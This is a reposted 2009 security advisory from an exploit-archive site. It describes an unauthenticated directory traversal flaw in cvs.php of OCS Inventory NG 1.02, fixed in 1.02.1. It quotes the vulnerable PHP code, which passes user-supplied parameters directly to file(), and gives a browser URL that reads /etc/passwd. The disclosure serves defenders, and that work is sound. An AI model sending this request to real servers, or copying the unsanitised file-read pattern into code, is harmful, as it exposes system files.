[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OCS Inventory NG 1.02 Remote File Disclosure Vulnerability
# Published : 2009-06-03
# Author : Nico Leidecker
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OCS Inventory NG - Directory Traversal (May 30 2009)
_______________________________________________________________________________
* Product
Open Computer and Software (OCS) Inventory NG
(http://www.ocsinventory-ng.org)
* Vulnerable Versions
OCS Inventory NG 1.02 (Unix)
* Vendor Status
Vendor has been notified and the vulnerability has been fixed in
version 1.02.1.
* Details
The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network. The server can be managed using a web
interface. It is possible for unauthenticated users to extract arbitrary
files from the hosting system due to inadequate file handling in cvs.php.
cvs.php:
} elseif (isset($_GET['log'])){
if (file_exists($_GET['rep'].$_GET['log'])){
$tab = file($_GET['rep'].$_GET['log']);
while(list($cle,$val) = each($tab)) {
$toBeWritten .= $val."rn";
}
$filename=$_GET['log'];
}
}
* Impact
Attackers may be able to read arbitrary files from the hosting system.
* Exploit
The vulnerability can be exploited by just using a web browser:
http://example.org/ocsreports/cvs.php?log=/etc/passwd
# www.Syue.com [2009-06-03]